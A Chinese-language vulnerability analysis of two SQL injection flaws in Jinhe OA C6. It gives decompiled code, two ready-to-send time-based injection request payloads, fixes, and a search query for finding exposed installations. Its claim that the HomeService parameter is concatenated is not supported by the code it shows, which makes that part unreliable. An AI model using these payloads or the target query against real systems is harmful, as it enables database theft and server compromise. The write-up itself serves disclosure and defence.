金和oa-MailTemplates.aspx以及HomeService.asmx的sql注入漏洞分析
字数 977 2025-08-22 18:37:14
金和OA C6 MailTemplates.aspx及HomeService.asmx SQL注入漏洞分析
漏洞概述
金和OA C6系统中存在两处SQL注入漏洞:
- MailTemplates.aspx接口处的SQL注入漏洞
- HomeService.asmx接口处的SQL注入漏洞
攻击者可利用这些漏洞:
- 获取数据库中的敏感信息(如管理员后台密码、用户个人信息)
- 在高权限情况下向服务器写入木马
- 进一步获取服务器系统权限
分析环境准备
-
工具准备:
- dnSpy:用于反编译.NET程序集
- 金和OA C6系统的bin目录下的所有.dll文件
-
反编译步骤:
- 在dnSpy中打开bin目录下的所有.dll文件
- 在程序集资源管理器中查看目录结构
- 目录结构对应系统路由访问路径
MailTemplates.aspx漏洞分析
漏洞位置
JHSoft.Web.Mail命名空间下的MailTemplates类
关键代码分析
- Page_Load方法:
protected void Page_Load(object sender, EventArgs e) {
CultureInfo cultureInfo = (CultureInfo)this.Session["culture"];
this.htc = cultureInfo.Name + ".css";
this.InitText();
if (base.Request.QueryString["tempID"] != null) {
this.TempID = base.Request.QueryString["tempID"].ToString();
}
if (!this.Page.IsPostBack && this.TempID != "") {
this.iniTemp(this.TempID);
}
}
-
IsPostBack属性:
- 判断页面是否为首次加载或由用户操作引起的部分加载
- 直接访问页面时不是回发,会执行iniTemp方法
-
iniTemp方法:
private void iniTemp(string tempID) {
DataTable templateObject = this.GetTemplateObject(tempID);
if (templateObject != null && templateObject.Rows.Count > 0) {
this.TemplateContent.Text = templateObject.Rows[0]["TemplateContent"].ToString();
this.TemplateName.Value = templateObject.Rows[0]["TemplateName"].ToString();
}
}
- GetTemplateObject方法(漏洞点):
private DataTable GetTemplateObject(string tempID) {
string sql = "SELECT * FROM Mail_Template WHERE TemplateID='" + tempID + "'";
DataTable result = this.ExecSQLReDataTable(sql);
// 错误处理代码...
return result;
}
漏洞成因
- 直接将用户可控的
tempID参数拼接到SQL语句中 - 未进行任何过滤或参数化处理
HomeService.asmx漏洞分析
漏洞位置
jhsoft.mobileapp.AndroidSevices命名空间下的HomeService类中的GetHomeInfo方法
关键代码分析
- GetHomeInfo方法:
public DataSet GetHomeInfo(string userID) {
DiaryManagePro diaryManagePro = new DiaryManagePro();
DataTable quickUserInfo = diaryManagePro.GetQuickUserInfo(userID);
// 其他代码...
}
- GetQuickUserInfo方法:
public DataTable GetQuickUserInfo(string userCode) {
string procedureName = "pt_GetQuickUserInfo";
object[] paraValues = new object[] { userCode };
return this.ExecProcReDataTable(procedureName, paraValues);
}
- ExecProcReDataTable方法:
public DataTable ExecProcReDataTable(string ProcedureName, object[] ParaValues) {
DataTable dataTable = new DataTable();
SqlDBOperator.ReturnMethord returnMethord = new SqlDBOperator.ReturnMethord(this.ReturnDataTable);
return (DataTable)this.Execproc(ProcedureName, ParaValues, dataTable, returnMethord);
}
- Execproc方法:
private object ExecProc(string ProcedureName, object[] ParaValues, object ReValue, SqlDBOperator.ReturnMethord ReturnResult) {
base.ClearErrorMessage();
StackTrace stackTrace = new StackTrace(true);
this.CallClassName = stackTrace.GetFrame(2).GetMethod().ReflectedType.FullName;
this.CallMethodName = stackTrace.GetFrame(2).GetMethod().Name;
if (this.bInTransaction) {
return this.ExecProcInTrans(ProcedureName, ParaValues, ReValue, ReturnResult);
}
return this.ExecProcNotInTrans(ProcedureName, ParaValues, ReValue, ReturnResult);
}
- ExecProcInTrans方法(漏洞点):
private object ExecProcInTrans(string ProcedureName, object[] ParaValues, object ReValue, SqlDBOperator.ReturnMethord ReturnResult) {
base.ClearErrorMessage();
this.comm.CommandText = ProcedureName;
this.comm.CommandType = CommandType.StoredProcedure;
this.comm.CommandTimeout = 90;
try {
if (!this.OpenConn()) {
return -1;
}
this.SqlCommAddParameter(this.comm, ParaValues);
ReValue = ReturnResult(this.comm, ReValue);
}
catch (Exception e) {
string errorSQL = "事务中,存储过程:" + this.comm.CommandText + " 参数信息:" + base.GetCommandParameter(this.comm, ParaValues);
base.SaveErrorMessage(e, errorSQL);
base.ClearReturnValue(ReValue);
}
return ReValue;
}
漏洞成因
- 用户可控的
userID参数直接拼接到存储过程调用中 - 未进行适当的参数化处理或过滤
漏洞复现
MailTemplates.aspx漏洞POC
GET /C6/JHSoft.Web.Mail/MailTemplates.aspx/?tempID=1%3BWAITFOR+DELAY+%270%3A0%3A3%27-- HTTP/1.1
Host: target_ip
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
HomeService.asmx漏洞POC
GET /c6/jhsoft.mobileapp/AndroidSevices/HomeService.asmx/GetHomeInfo?userID=1'%3b+WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: target_ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
修复建议
- 对所有用户输入进行严格的过滤和验证
- 使用参数化查询或存储过程
- 实施最小权限原则,限制数据库账户权限
- 对敏感操作进行日志记录和监控
- 更新到金和OA的最新版本
资产测绘
使用以下特征识别金和OA系统:
app="金和网络-金和OA"